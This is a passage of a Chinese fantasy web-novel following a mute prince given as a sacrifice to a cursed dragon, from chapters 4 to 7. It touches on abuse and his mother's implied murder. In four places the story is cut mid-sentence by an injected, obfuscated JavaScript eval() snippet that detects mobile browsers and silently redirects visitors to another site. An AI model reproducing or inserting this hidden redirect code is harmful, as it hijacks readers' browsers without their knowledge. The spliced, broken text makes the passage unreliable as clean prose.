没有期待,就不会悲哀,他命令自己别再高兴了。仅仅是一瞬间,他仿佛被冻住了一样,开始启用麻木的程序来保护自己,好抗住接下来有可能发生的痛苦与伤害。 “嘀嗒——嘀嗒——” 龙窟内的巨鲸油脂不断滴落,犹如厄运的倒计时钟漏。他安静地坐着,连呼吸声都变得很轻,露维亚差点把他忘了。 “你怎么又开始愁眉苦脸?”露维亚见对方连打手语的动作也变得迟钝,不由懊恼,“刚救活你,别一副要死的样子!” 真死了,那她岂不是白忙一场。人类到底怎么回事啊!他又想到什么了? 可恶,到头来还是要学人类的语言。 她眼珠翻转,在记忆的汪洋大海中搜寻。她听过很多人类说话,赞美的话、求饶的话、祈祷的话。话语材料丰富,词语拼拼凑凑就足够了。 约一刻钟后,她完成了学习,露维亚走近他。 伊瑟恩起初还是木木的,直到他看到龙女士以人类的样貌赤身站在他面前。他猛然后退,然后扭头看向别处,脸红得快要燃烧起来。 要开始了么。 他不太会…… 他偶尔会做梦,弄脏过床单,隐隐约约知道是怎么回事,但并不清楚。 按照希尔弗的习俗,婚前本应有老师来教他,或者至少给他看看画册,但是因为他要被送给龙,所谓的婚礼只是阿利斯塔为了羞辱他才使用的说法,伊瑟恩当然什么也没学到。 “第十一个。” 露维亚准确地使用了人类的序数词,然后是三百年来的语言大杂烩,古今混用,半文半白,除了大陆通用语,还会蹦出一两个俚语、方言词。 “见你愁容,吾亦生忧。为何脸红?生病很麻烦,倒霉的红薯。你回答我,不然我很难棒你解决。” 伊瑟恩惊讶地发现自己能听懂大半。 他紧闭双眼,开始比划。 他指她的方向,摆了摆手,然后抓起自己的衣服。又指自己的眼睛,用力摇头。 短暂的时间里,露维亚又把人类的语言梳理了一遍,说得更好了:“哦,我猜你说的是:你没穿衣服,我不能看。对么?” 伊瑟恩点头。 露维亚恶劣地笑笑,嘴唇一翘:“好,现在可以了,睁开双目。” 伊瑟恩听话照做,惊悚地发现自己被骗了。她根本没穿上衣服,而是把如瀑的长发拨到了身前,确实挡住了躯干,但还是…… “不许闭眼!”露维亚怒喝,“直视我,第十一个。” 他不敢违抗,一边心间颤抖,一边鼓起勇气抬头看她。 恍惚间,伊瑟恩看到了古代传说中女战士的雕像,像大理石,又像玉,质地坚硬,线条却柔和流畅,美丽威严。 象牙色的长发包裹着身体,有种白蝴蝶刚刚破茧的感觉,神秘轻盈。锋利的金瞳凝视着他,没有一点动摇,没有一丝羞怯。 伊瑟恩的睫毛匆促地颤动,仿佛耗尽了所有力气,重新垂下头。 “好。”露维亚见他臣服,也就不折腾他了,“帮我取件衣服过来。” 伊瑟恩去到法阵前,心想,原来这是个实现愿望的魔法么?是无中生有,还是从其他地方转移过来的? “快点。”露维亚语气有些不耐烦,龙想到什么就说什么,她习惯了言为心声,“你脑子里想些简单的样式,还有舒服的材鸟……材料!” 他松了口气,看来不是他想的那样。 因为他所知最好的衣裙全在王宫的衣柜里,伊瑟恩可不想让龙女士屈尊降贵去穿阿利斯塔碰过的东西。 首先是颜色,龙女士金瞳白发,可以配同色系的衣裙。 金色有点夸张,白色还好,但是那很像婚服,龙女士理解婚姻这个概念吗?在希尔弗的文化里,白衣意味着女人把纯洁的身体和忠贞的感情献给男人。 一来,现在是伊瑟恩被献给她了。二来,仔细想想这个寓意也挺糟糕。 阿利斯塔没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265980|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娶王后,但王宫里有很多没名没分的女人,她们穿着白裙,胆战心惊地服侍他,不出半年,她们面目全非,有的得宠却陷入焦虑,有的悲伤而心碎,有的被砍掉了头。 这太不公平了! 黑色不错,但是黑色太暗。龙窟四壁都是黑色,无法凸显她。 蓦然间,他想到了海岛,也许可以试试浅浅的灰色,有点像海天相接处的雾。 材质,轻盈一些吧。样式……不知为何,他想到了方领高腰的垂坠长裙,这并不是最近宫廷里流行的样式。可这条裙子就是突然出现在他的脑子里,无比具体、清晰。 思考完毕,他把手按到法阵中央,魔法执行着他的意志,制作裙子所需的元素不断汇聚、凝结,在他看不见的另一个空间里纺织、剪裁、缝合。 他双手捧起这条和想象中别无二致的裙子,恭敬地递给龙女士。 伊瑟恩依旧不敢看她。直到一阵织物摩擦的声音响毕,他才抬头。 然后,伊瑟恩呼吸一滞。 她漫不经心地看着他,表情似笑非笑。裙子朦胧如云,衬得她皮肤白亮。颀长的肉-体宛如一道闪电,锋利地劈开天穹。 他说不出话来,他本来也不会说话。然而这一瞬,他的精神也被对方美到失语。 “好像是十几年前的款式。说起来人类的时尚总是变换轮回。三百年前流行过这样宽松的直筒裙,但是很快裙摆越来越大,束腰越来越紧。” 碎片的记忆冒出来,又落下去,没再展开。 “你的品味不错。”她说,“希望你其他方面的表现也令我满意。” 伊瑟恩回以无措的沉默。 “你有两个任务,”她认真地看着他,语声坚定,不容置疑,“第一,白天用油脂涂抹我的角。务必仔细,让油脂浸润每一处细裂。” 伊瑟恩连忙点头。 “第二,晚上陪我睡觉。” 伊瑟恩深吸一口气,也点了一下头。 只是,具体该怎么做呢? 仆人们聚在一起时,会讲些下流的笑话。他直觉那应该不是正确对待女人的方式。而且,露维亚也不是人类。 “镜子里会飞出幻象,如梦魇般侵入睡眠。因为一些原因,我晚上只能呆在这儿。” 她伸手勾住伊瑟恩的腰,搂着他转到镜子背面,指着那些古语真言,捡重点翻译:“赐予恩赏,降下惩罚。百次沉默,枷锁尽落。” 伊瑟恩听出这是禁锢她的诅咒。龙女士这么强大,竟然还有能限制她的存在。 “幻象有触发条件。若不做回应,它就会消散,变成普通的镜子。三百年来,无数个夜晚,我只成功了两次。某天,一个迷路的女孩儿来这里躲匿着过夜,我发现幻象也在影响她,当然,她做了噩梦,尖叫着逃走了。但我意识到,可以让人类替我打碎镜子,你无论如何都不会回应它,不是么?” 伊瑟恩在她的臂弯里瑟缩,他羞愧到全身发热。原来自己会错了意。 露维亚把头伸到伊瑟恩的颈间,嘴唇一张一合,挨着他的耳朵说:“怎么没反应?” 不,不是没有反应,而是,他的反应很糟糕。他感到窘迫,害羞,还有些无法解释的失落。 伊瑟恩慌忙点了下头。 没问题的,噩梦而已,他早就习惯了。 5. 第 5 章 一连三晚过去,伊瑟恩适应良好。 所谓的幻象只不过是把他以前遭受的欺辱从现实迁移到梦中。 负责他的仆人经常不按时给伊瑟恩送饭,塔楼下的卫兵嘲笑他的残疾。连阿利斯塔身边那个侏儒弄臣也时不时带人来扇他耳光。 在梦中,这些人依旧讨厌,但只要醒来,他们就消失了。真实伤害变成了梦中虚影,伊瑟恩觉得这根本不是诅咒…… 出于感激,在白天,伊瑟恩非常认真地执行着露维亚交给他的任务。他从法阵中取出一柄软刷,蘸取巨鲸油脂,像画画一样,细致涂抹龙角的每一寸。 而露维亚离开龙窟之后,他可以通过传送门去到海岛,随意走动。 说是仆人,可哪有一天只需工作一小时,剩下时间都在玩儿,还想要什么就有什么的仆人? 此刻,他把诗集倒扣在脸上,仰躺在柔软的沙滩上,吹着海风,闭目养神。 他听见有节律的海浪声,听见头顶的鸟鸣,听见自己打在书页上的呼吸……伊瑟恩突然觉得这样过一辈子也可以。 可惜只有一百天,但,一百天也很久了。他回忆中快乐的时光,全加起来也凑不够一百天。 至于一百天后何去何从,他暂时不去想。 ……等等,有点儿说不通。 想要打破镜子,只需无视镜中幻象一百次。露维亚那么强大,三百年来,她至少做了十万场噩梦,为什么会只成功过两次? 她为什么会被困在这里,让她不得不回应的幻象会是什么? 要不要问问她?怎么问呢……自从向他说明任务之后,露维亚便再也没有跟他说过人类的语言了。她甚至不关心他叫什么名字,一直叫他“人类”或者“第十一个”。 想到这儿,伊瑟恩心里浮起一丝苦涩。 伊瑟恩啊伊瑟恩,你先是自作多情,以为龙女士迷恋你的肉-体,现在又不自量力地关心她的困境。 就算知道了,又能帮她什么? 你只是一个没用的小哑巴…… “露维亚!化人时要把龙的特征藏好。快把瞳孔变成圆形,这样会被发现的!” 一个皮肤黝黑的白发男子慌张地把露维亚拉到暗巷,低声说:“个子也太高了!人类女性没这么高。” “胡说。我明明看到过高大的女人。” “哈!那也是人群中的异类,我现在冒着掉脑袋的风险来见你,你就不能低调点么?非要亲族死光你才开心?我可是你硕果仅存的舅舅!” “这个词不是这么用,笨蛋舅舅。”露维亚皱了皱眉头。 “别跟我争论!你在人间呆了三百年,我当然没你熟练。” “我也刚学的。”她不禁得意,扬了扬头。 “行吧,行吧。” 这头黑龙名叫克里尔,没比露维亚大几岁,傻乎乎的。但他却是唯一还愿意来见她的同族。 他给她带来了神王的消息。 “两位神妻同时怀孕,预言之神说其中一个孩子会补上火神的位置,另一个孩子则会拿到复仇之神的权柄。这令神王感到不安,但祂分不清谁才是复仇之神,所以……” 露维亚翻了个白眼,轻易地猜到:“又被他一起吃到肚子里了,对吧?” 克里尔点头:“所以很快就要重选神妻,这次轮到我去抓人了。” “你真的要去替祂捉女人?你做不到吧,舅舅。” 她这么说并非小看克里尔,而是克里尔的性格实在单纯。 露维亚的父亲是一点点长出了怜悯之心,在深思熟虑之后决定仁慈。而克里尔天生是个心软的家伙。神王第一次吞吃神妻和她腹中的孩子时,所有的龙都悚然静默,只有克莱尔被吓哭了。 为此,克里尔还得了一个侮辱性的外号——眼泪战士。大概就是爱哭又强壮的意思。 “我不知道,我听说之前的两位神妻就不是由龙抓来的,而是自愿献祭。所以,也不一定需要我……”他不知所措,寄希望于侥幸。 露维亚却听出了问题。 “自愿献祭?人类里怎么会有这种蠢货。”她咕哝了一句,开始在记忆中搜寻,口中念念有词,“啊,我看看,献祭。” “克里尔,”她遗憾地说,“没有自愿献祭这回事。我刚刚翻看了三百年里所有的见闻,所有祭品都是不情不愿哭着走上祭坛的。” 克里尔不安地问:“你确定吗?你了解人类所有的风俗么?万一……就是有那种一心想要牺牲自己,当别人妻子的女人呢?” 露维亚一愣,忽而不确定,说:“我再回忆一下。” 金眸之上,又是一阵光芒流转。她惊讶地得出结论:“人类好奇怪。竟然有十五六岁的女孩,为了几片面包,嫁给老头子的!” 克里尔松了口气:“神王能给她最好吃的面包!我去找这样的女人就行了。” “……你就听懂面包了啊!” 克里尔心里的负罪感一下子减轻,露维亚的疑惑却刚刚开始。 她观察人类,记住了很多事,可一直没往心里去。就像人也会盯着蚂蚁看,但不会费心琢磨它们行为背后的动机。 经克里尔一提醒,她开始串联这些事情,聪明的大脑一阵混乱。 如果人类会自愿献祭自己,那她父亲到底是为保护什么而死? “荒谬!人类难道是这样没骨气的生物么?”她愤怒地握紧拳头。 “又怎么了,露维亚?” “没什么,我只是想不通。” 克里尔耸耸肩:“没什么想不通的。不同生物有不同的生存策略。但共同点是:弱肉强食。所以龙臣服于神,人臣服于……嗯,比他们强大的一切。” 克里尔听不下去这种灭自己威风的蠢话,不满地哼了一声,道:“谢谢你给我带来神王的情报,我也会帮你把人类的情况弄清楚。” “多谢!你帮我研究一下什么样的人类会愿意献祭自己,到时候我就按照这些特征找。”克里尔嘿嘿傻笑。 露维亚笑不出来。 她走在人类城市的街道上,观察来来往往的行人,他们神色木然,面无表情,没有兴高采烈,也没有特别悲伤。 人类在想什么? 啊!问问第十一个不就行了么。 他也是祭品来着。虽然跟他沟通比较费力。但这家伙一定不敢骗她。 她放弃了泛泛的观察,打算采取效率更高的方式,直接询问具体的一个人类。 这时,街道上的人群喧哗起来,原来是一队官员,他们把人聚集到广场,宣读国王的新政。 “无聊。人类的政治就是打来打去,死一堆人。过一阵子又为别的事打起来。和公龙们一样蠢。” 她不屑地转身离开。 “诺克雷的子民们!希尔弗人抢劫我们的财产,杀掉我们的兄弟,凌辱我们的姐妹,陛下身为诺克雷的女王,就像我们的母亲一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265981|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !现在,母亲的心在滴血!” “希尔弗的国王阿利斯塔不知用什么手段得到了神眷,神明予他强化的身体。但他依旧只是一个凡人!凡人是可以战胜的!” “女王陛下誓要砍下他的头颅,用这暴君的头骨盛酒。诺克雷的尊严不容践踏!现报名参军者,待遇如下……” 听到“神眷”这个词,露维亚忍不住多听了一会儿,拽过人群中一个年轻女孩:“喂,你知不知道那个神眷是怎么回事?” 女孩儿吃痛,抗拒地说:“你先松开手!跟别人打听事情要讲礼貌啊!你以为你个子高我就怕你?可以随意对待别人?你父母不教你的么……” 露维亚松开手,平静地说:“他们去世很久了。” 女孩儿一下子愣住,无措而内疚,挠了挠头:“呃……我不知道。对不起!” 见露维亚还是不说话,她更加不好意思,主动开口介绍:“我叫米亚,裁缝的女儿。我识字!我给你念之前的告示,听了你就懂了。” 说些,米亚把露维亚拉到公告板前,逐字逐句地念,从居住在希尔弗北境的索鲁人开始说起,到阿利斯塔如何用武力俘获了他们的忠诚,放纵他们侵扰诺克雷的国土,再到诺克雷戴安女王的丈夫如何死在索鲁人手中…… “总之,陛下想要复仇。” “复仇?” “是的。谁能忍受这样的屈辱!就因为希尔弗国王比我们强,就把好东西都给他?凭什么呀!说是神眷者,我听说也无非是武艺高一些。一个人打不过,十个人还打不过?十个人打不过,我们还有一支军队!” 米亚义愤填膺,在空气中握紧了拳头。 看来人类也不都是软骨头。 露维亚歪头想了一会儿,对米亚露出一个笑容,她模仿伊瑟恩的样子,用夸张的肢体动作比划了“谢谢”这个词。 “哎呀!我刚才说你没礼貌,你现在又有点太有礼貌了!不用鞠躬……” 露维亚长得挺漂亮,衣服料子不错,但早就过时了。可见她以前家境不错,父母去世后才越来越艰难。家道中落比一开始就穷要更痛苦吧? 米亚问:“你叫什么?你家在哪里?你肚子饿不饿?” “露维亚,山洞,不饿。” “天呢!你住在山洞里!!”米亚心头一悲,“别逞强了露维亚,你这么高大,肚子饿得很快吧?我请你吃蓝莓馅饼。” 露维亚皱着眉头,问:“为什么?” “还能为什么?当然是想跟你做朋友。互相知道名字,就算认识了。朋友之间请客是很正常的。当然,别有压力。” “压力?” 米亚又叽叽喳喳一顿解释,最后,露维亚吃到了蓝莓馅饼。并鬼使神差地约定了七天后再见。 露维亚一边飞翔,一边复盘:和人类打听事情要有礼貌。做朋友要互相知道名字。送礼物要考虑对方是否会有压力。 “原来……这么复杂!!” 龙飞过希尔弗的上空,人们不免仰头观看,议论纷纷。 “我们的王子是不是没发挥作用?” “我觉得好像有用?龙以前不是长吟不休么?但她今天只‘嗷’了一声。” “哈哈哈,还得男人出马!连伊瑟恩殿下那样不会说话的残疾,都可以驯服一条龙。” 女孩们面面相觑,挤眉弄眼了一会儿,终于忍不住爆发笑声。 这蠢猪,又把大家逗笑了。 6. 第 6 章 露维亚在灰烬森林的祭坛驻足,思考为什么人类会把少女献祭给她。 献祭是从一年前开始的。当时,她发现了幻象的秘密,激动得在天空中一边盘旋,一边吐火,把地上的人类吓到了。 所以,献祭的初始动机是恐惧。 第一个少女红发绿眼,脾气火爆,一直在叫骂。露维亚从她那里听到了至少一百种不重样的脏话。 第二个少女爱哭,柔柔弱弱,可露维亚刚一转身,她就射出一支淬了毒的吹箭,是个狡猾的丫头。 第三个少女情绪低落,然而,当一个青年拎着砍柴的斧头跑来救她,她眼睛里突然有了光,坚定地拉住了他的手,一起跑远了。 第四个少女胆小如鼠,却十分恭敬,她双膝跪地,不断祷告,恳求“神龙大人”别伤害她,还她自由。 第五个少女…… 总结起来就是没人想当祭品。不管性格如何,有无牵挂,她们都不愿意放弃自己原本的人生。 所以第十一个到底怎么回事?他为什么不反抗,为什么不逃跑? 黄昏时,露维亚带着疑问飞回龙窟。 伊瑟恩正捧着一束花,坐在光滑的地面上摆弄。 她一边迈步,一边化人,走到伊瑟恩身边的时候,仍呈四肢着地的爬行姿态,上半身倾压在他身上,头发如帷幔般垂到地面。 “你很喜欢这种白色的花么?” 此时此刻,他们离得很近,鼻尖都快碰到一起,伊瑟恩喉结上下滑动,艰难地咽了咽口水。 因为人们都说,龙喜欢白茉莉的味道。他指了指露维亚,把花束举到她面前。 “原来如此,你喜欢我,所以送我礼物,这个礼物不会让我产生压力,刚刚好。”露维亚挑了挑眉毛,炫耀自己新掌握的人类知识。 伊瑟恩瞬间脸红。 她接过花束,把它们往自己的头发里插。她哪里会弄?花枝怎么都别不住,扑簌簌地往下掉。 伊瑟恩大着胆子伸出手,帮她把花固定在耳后,又轻轻捋顺她的发丝,完成这一切后,他快速地把手收回,眼睛瞥向别处。 “你为什么又不看我?我现在穿着衣服呢。” 伊瑟恩无措地比划起来,他想说的话很复杂,手快速地挥舞,在空气中留下残影。 她不耐烦,递给他黑板和滑石笔。 “句子太长了,还是写出来吧。” 出于某种微妙的心理,伊瑟恩不敢写,仿佛那会成为自己的认罪状。他取来诗集,翻到夹着树叶书签的一页,指给露维亚看: 我无法一直看你, 只好去看月亮, 即便远远不如。 “原来如此。”露维亚对这种文学化表达似懂非懂,她隐约知道这是一句恭维,“但我没见过月亮。” 听了她的话,伊瑟恩心脏重重地一颤。连忙拿起滑石笔,快速地写下:“对不起。” “对不起?有什么对不起?又不是你把我困在这儿的。”露维亚皱眉不解,“有时,我真怀疑你不太聪明。” 伊瑟恩无措地看着她。 “你叫什么名字?” 他写:“伊瑟恩。” “好的,伊瑟恩。”她金色的眼珠匆促地闪烁,准备认真记下他的回答,“你为什么愿意留下来做我的仆人?” 伊瑟恩在黑板上“唰唰唰”地写出一串句子:“因为你是善良的龙,给我容身之所,给我食物。而且……” 容身之所?食物?她再次回想起为了几片面包嫁给老头子的少女。难道类比成人类的关系,伊瑟恩是那个少女,而露维亚等同于那个老头? 想到这儿,她有点烦躁:“别写了!” 伊瑟恩怔住,轻轻点头,放下了笔。 显然,他对露维亚又尊敬,又喜欢。即便龙女士有些脾气,也是动物性的天真、自然、直爽。惹别人生气,伊瑟恩要付出巨大的代价,如屈辱和疼痛,可露维亚很大度,她只是嗓门大些。 看着伊瑟恩带着水光的蓝眼睛,小心翼翼观察自己的样子,露维亚无端感到焦虑。他如此温顺,衬托得她很凶恶。 “你知道自己失声的原因么?”她声音低缓下来,说不上温柔,但也好多了。 伊瑟恩茫然地摇头。 她把鼻尖凑过去,开始在他的下巴、脖颈与锁骨之间徘徊,细细地嗅。 她吐出的呼吸让伊瑟恩感到又热又痒,身体如触电一样战栗发麻。他微微张开嘴,用口呼吸,吸入更多空气,掩饰过于紧张的喘。 漫长的三分钟后,露维亚的检查结束。“不只是声带受损,也不只是中毒,”她有些懊丧,“我暂时弄不明白。” 原来露维亚想治好他,伊瑟恩感激地笑笑。 他的笑容令露维亚的大脑空白了一瞬,理解不了的情感聚涌在一起,心间升起一大团轻飘飘的云。 “伊瑟恩……”她叫他的名字,可她并没有什么话要说。 伊瑟恩歪着头看她,眨了眨眼睛。他想告诉她,自己在听。 露维亚没好气地说:“时间到了,准备睡觉。” 夜半时分,幻象降临。 梦中,伊瑟恩在偷偷喂养一只流浪猫,白底黄花的猫,后背上有块好笑的桃心型斑纹。 小猫亲人,它才不管伊瑟恩是王子还是乞丐,一直呼噜呼噜地用头蹭他的裤腿。这种亲昵对孤独的伊瑟恩来说是莫大的慰藉。 待有人走过,伊瑟恩慌忙地站起来,把手中的半只鸡腿藏到身后。 卫兵阴阳怪气地嘲讽他:“看来您还是吃得太饱了,殿下。” 然后,他被饿了两天,但不至于抗不过去。那只猫没有再出现,他以为是跑去别的地方了。直到他看到塔楼下卫兵常坐的那把椅子上,多了一张毛茸茸的皮坐垫,白色,赫然有块桃心形的黄斑。 他沉默地回到自己的房间,低着头,一语不发。 而幻象让露维亚变回一条幼龙。 神王用长长的铁链捆走了迦娜。露维亚跌跌撞撞地向前奔跑,心急的一瞬间,她提前学会了飞翔。但她依然追不上。 “砰——” 迦娜巨大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265982|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身躯轰然崩开,宛如红色的烟花,纷纷飘散,坠入露维亚金色的眼眸中。 心好像裂开了一道大缝,不再有光照进来,也没有什么新的东西破土而出,而是形成了一道无法弥合的伤口,越扩越大,变成一个血淋淋的空洞。 “不!不……” 她开始不受控制地哀嚎,撕心裂肺地大叫,手脚乱蹬,一拳把身侧的伊瑟恩打醒。 伊瑟恩睁开眼睛,捂着脸,一阵头晕目眩,安静地缓了一会儿,不敢相信地看向龙女士。 露维亚在哭。 哭声让伊瑟恩愣住,迟疑片刻,他伸出手,擦去她脸上一层雨似的泪。 露维亚不断往温暖的地方拱,高大的身躯蜷缩着,呜呜咽咽,和无助的小猫也没什么区别。 “别离开我……” 伊瑟恩不由抱紧了她,轻轻拍她的后背。 他遗憾自己不能发出声音,要是可以说话,就可以安慰她了。脑海里甚至回想起一首哄孩子入睡的歌谣,有人给他唱过,尽管他记不起是谁唱给他的,可旋律和歌词都很清晰。 这时,伊瑟恩惊觉自己的记忆并不连贯,存在大片大片的空白,就像一本书被撕掉了好几页。 他试图把这些空白补齐,闭着眼睛,慢慢回溯,然而,他什么也想不起来,反而再次酝酿出睡意,掉进幻象编织的噩梦中。 太糟糕了,这一次,他梦见了阿利斯塔。 很久以前的阿利斯塔。 “我亲爱的弟弟,伊瑟恩。” 阿利斯塔弯下腰,像个真正友爱的哥哥那样,半蹲下来,让视线与未成年的伊瑟恩平齐。 “不得不说,你生得真美,和你母亲一样美,最铁石心肠的人也不愿伤害你。你就像童话里那个原本要被挖出心脏的公主,哪怕变成尸体,也有人忍不住对你发-情。” 好恐怖,这是该对孩子说的话么? “取悦他人也是一种天赋,卑贱者的天赋。你说对么?” 伊瑟恩闻道他身上有血的味道,腥气和名贵的香水味混杂在一起,让人很不舒服。 他本能地想往后退,但是阿利斯塔抓住了他的肩膀,紧紧钳住。 “你真的不会说话吗?” 阿利斯塔眯起眼睛,用力拧伊瑟恩,孩童柔软的皮肉很快变红。伊瑟恩无声地掉眼泪,好似大颗大颗的珍珠断了线。 “去别处玩吧。”他没了兴致,把伊瑟恩赶走。 伊瑟恩逃跑似的离开这里。过了一会儿,他好像听到了女人的惨叫,很轻,像是吹过树叶的风声。 八岁的伊瑟恩不懂,但现在是十八岁的伊瑟恩在做梦啊!他串联起了一个可怕的,他无法接受的真相。 那个人,那个房间…… 他喉咙发紧,胃袋翻涌,嘴里好像凭空被一种苦杏仁味塞满了,身体里每一个细胞都在爆发尖叫,阿利斯塔!阿利斯塔做了什么! 伊瑟恩愤怒而惊恐地张开嘴巴。 但是,没有声音。 因为妈妈,妈妈对他说过:不要发出任何声音。 7. 第 7 章 等露维亚发现伊瑟恩的异常时,已经是五天之后了。 他好像变成了一块沉默的石头,当然,他一直都很沉默。但他的眼睛里曾有光芒闪烁,曾怀着一些小小的期待,会为莫名其妙的事发笑。 现在,她不问话,伊瑟恩就不回答。黑板和滑石笔再也没被他拿起来过。 露维亚感到不安。 她闹不清楚幻象会怎样作用于人类,但是,按照一般的常识推断,幻象编织的噩梦无疑对人的健康没好处。 露维亚没有什么道德观念,可是,如果伊瑟恩过得很苦,她不就更像那个用几片面包为饵,享用少女的老头了么! “你怎么了?” 伊瑟恩生硬地理解着这句话:他没有生病,也没有受伤,他还活着。 于是,他摇了摇头。 好麻烦。 她觉得麻烦。可难道这点麻烦怎会把她吓退? 镜中幽幽流转的幻象已经被伊瑟恩杀死了八个,加上她自己不知道多少年前战胜的那两个,那么,破解诅咒的工作已经完成了十分之一! 她绝不会放弃。 或许该带他出去玩? 呃,人类未必会认为去冰晶海猎鲸有趣。 “是不是被噩梦吓着了?”她分享自己的经验,“龙的记忆力很强,当龙衰老、生病的时候,记忆会不受控制地翻涌,造成心灵过载。其实,只要把回忆分门别类放好,把害怕的东西归拢到一个角落,平时不要去想,就不会有问题。” 露维亚化人后是青年女性的样貌,高大的身材,以及锐利的五官使她显得成熟,但这副认真解释的样子使她像个性格执拗的小姑娘,视觉年龄一下子又被拉回十七八岁。 伊瑟恩心想,按龙的年龄计算,也许露维亚还是个少女。三百年,无数个夜晚,她每晚都哭成那样么?他不禁悲伤地凝望着她。 迎着伊瑟恩湿漉漉的目光,露维亚投降:“好吧,好吧。这个办法你可能学不会。那么告诉我,你到底为什么不开心?” 原来,她在关心自己。 伊瑟恩缓缓地开始比划,这是一个二选一的问句,他想问露维亚:幻象是真的,还是假的? 看懂他的动作之后,露维亚说:“真的。记忆是镜子制作幻象的材料。它会把你人生中恐怖的场景组合在一起。” 听了她的回答,伊瑟恩最后一丝侥幸也破灭了,心像被人用鞭子狠狠抽了一下,他打了个寒噤。 “所以,你梦见什么了?” 伊瑟恩逃避着低下头,不想回答。露维亚却强行伸出双手,扳住他的脸,迫使他直视自己:“又要去看月亮?我不允许!我要你看我!” 面颊被她用力地捧在手心,伊瑟恩感觉快要不能呼吸,露维亚的体温持续地传递过来,暖融融的,让他眼睛发酸,眼泪蕴蓄着,马上就要流出来。 露维亚只好收了力:“告诉我吧,你不告诉我,我就不知道该怎么正确地对待你。难道,你以为我很有饲养人类的经验么?” 滚烫的眼泪悄然沾满她的手,露维亚觉得他就像一个漏了的水罐,她当然不希望伊瑟恩坏掉,无措地用拇指在他的眼眶周围抹了抹。 “你很害怕我?” 伊瑟恩摇头,然后抓起滑石笔,颤抖着在黑板写下:“我梦见有人欺负我的妈妈。” 在写“欺负”这个词时,伊瑟恩明显地迟疑了一下。从这个词之后,字迹变得有些歪扭:“我想不起妈妈的模样,梦中看不见她的脸,只能听见她的声音。” 滑石笔摩擦着黑板,在空旷的龙窟之内发出令人后牙发酸的刺耳声响,不断地回荡。 “他答应会放过我们,但是……” 最后一个句子写得格外费力,他中断了好几次,勉强抓稳了笔。 “结束之后,他杀死了她。” 眼泪开始不受控制地落下,伊瑟恩感到胸腔里的两片肺在痉挛般地作痛,心脏也一抽一抽地疼。 悲伤是他早已习惯的,无助也是他的日常,好比陈年旧伤带来慢性疼痛,但真相……写在黑板上的真相把他撕成了碎片。 好想痛快地哭一场,而不是像这样,除了破旧风箱一样的呼吸声,喉咙里一个音也发不出来。 他长久地悲伤。沉默而悲伤。 露维亚的脾气一点一点地上来了。 “不许哭!”她怒斥,恨铁不成钢地说,“那个人是谁?告诉我,我去帮你宰了他。哭有什么用啊!” 露维亚化为巨龙,抖了抖翅膀。鳞片刷啦啦作响,如气势磅礴的战鼓,又像女巫手中催命的摇铃。她从鼻孔里喷出一缕黑烟,短促地唤了一声,示意伊瑟恩过来。 大哭之后,伊瑟恩像片被雨水淋湿的树叶,身体发软,有种虚脱感。对露维亚的复仇邀请,他先是震惊,然后涌出感激。 杀掉阿利斯塔,他当然想!露维亚这么尽心地帮他,再拒绝她的好意,就真有点不识抬举了。 但是,理性占据了上风。 他没有走过去,而是快速地擦去黑板上原有的字句。用力写下了一个新的名词。 神眷者。 伊瑟恩拍了拍手,引起露维亚的注意,然后把黑板高高举起来,好让她看清。 辨认出黑板上的字以后,露维亚的瞳孔因困惑而收缩成一条细线。 神眷?那到底是什么? 她对人类和神明的关系不大了解,这是她的知识盲区。 露维亚关注龙与神的恩怨,执着于靠自己打败神王,不曾收集其他信息。这不能怪露维亚粗枝大叶,而是因为,龙就是有些迟钝,并且相当一根筋的生物。 与生俱来的魔法是有代价的,他们很难兼顾丰富与细腻,广阔与深刻。大多数的龙都知道很多,却想得很浅。 超忆和长寿结合在一起,已经是种负担,再进行深入思考,事无巨细,充满求知欲……那不是活受罪么! 从这个角度,镜子的幻象惩罚对露维亚极端残酷。三百年来她的心灵仍然没有崩溃,无疑是实力强大的证明。 “咕……” 声音来自伊瑟恩空荡荡的胃,他一下子窘住,害羞得想把自己藏起来。 露维亚却心头一松。 好吧,先去吃饭,填饱肚子,弄清楚情况后,再去找仇人算账。复仇是最好的冷菜*,既然是冷菜,多等一会儿也没什么。 她用尾巴卷住他的细腰,不再用抓取猎物的方式勾着他飞,而是向上一甩,把他撂到了自己的背上。 伊瑟恩在她坚硬的鳞片上打滑,在掉下去之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 